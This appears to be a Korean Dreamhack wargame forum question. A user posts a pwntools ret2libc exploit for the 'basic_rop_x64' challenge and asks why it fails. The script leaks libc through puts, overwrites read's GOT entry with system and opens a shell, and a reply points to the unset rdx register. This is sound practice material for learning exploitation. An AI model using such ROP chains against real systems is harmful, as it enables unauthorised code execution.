[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
익스 코드에서 어떤 점이 잘못된건지 잘 모르겠습니다.
from pwn import *

#context.log_level = 'debug'

host="host3.dreamhack.games"
port=8761
p=remote(host,port)

e=ELF('./basic_rop_x64') # 파일 불러오기
library = ELF('./libc.so.6') # 라이브러리 불러오기

# read 함수의 got에 적혀있는 read함수의 라이브러리 주소를
# system 함수의 라이브러리 주소를 덮어 씌울 것이므로 readgot주소를 알아야함
puts_plt = e.plt['puts'] # puts 함수의 plt 주소 0x4005d0
read_plt = e.plt['read'] # read 함수의 plt 주소 0x4005f0
read_got = e.got['read'] # read 함수의 got 주소
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881

# read 함수의 got 주소에는 read함수의 라이브러리에서의 주소가 나와있으므로 이를 알기 위함임
payload=b'A'*0x40+b'B'*0x8 # buf(0x40) + SFP

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) # pop rdiread_got
payload += p64(puts_plt) # putsplt 주소로 ret 되므로 puts(read_got) 실행

# read(0,read_got,rdx)
payload += p64(pop_rdi)+ p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(1)
payload += p64(read_plt) 

# system("/bin//sh")
payload += p64(pop_rdi)+p64(read_got+0x8)
payload += p64(read_plt) # readgotsystem 함수 주소로 덮어씌워져서 system함수 실행
p.send(payload)
p.recvuntil(b'A'*0x40)

read_library = u64(p.recvn(6)+b'\x00'*2) # 출력된 read의 라이브러리상 주소 저장

library_base = read_library-library.symbols['read']
system_library = library_base + library.symbols['system']
p.send(p64(system_library)+b"/bin//sh")

p.interactive()

의도한 것은 버퍼 오버플로우를 통해서 다음과 같은 과정을 거치고자 했습니다.

  1. puts(read_got)로 read_got에 적혀있는 주소를 읽어들임
  2. read_got에 적혀있는 라이브러리 상의 read함수 주소를 바탕으로 system 함수의 라이브러리에서의 주소 획득
  3. read(0,read_got,rdx)과정을 통해서 read_got에 적혀있는 주소를 덮어씌움(p.send(p64(system_library)+b"/bin//sh"))
  4. read_plt를 실행시켜 덮어씌워진 read_got 즉 system("/bin//sh") 실행

제 생각대로 작동이 안되는걸 보면 무언가 잘못된거 같은데 짠 익스 코드에서 뭐가 문제인지 잘 모르겠습니다 ㅠㅠ

#pwnable
작성자 정보
답변 1
avatar
Rasser
워게임: 20

아마 이부분에서 에러 발생하는거 같습니다.

read(0,read_got,rdx)

payload += p64(pop_rdi)+ p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(1)
payload += p64(read_plt)

pop_rsi_r15 가젯 사용해서 넣으면 rsi = read_got, r15 = 1이 들어가게 됩니다.
rdx는 값이 들어가지 않아서 그런거 같아요.

pop rdx가젯 찾아서 넣어줘야할거 같습니다

2022.10.11. 13:09
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기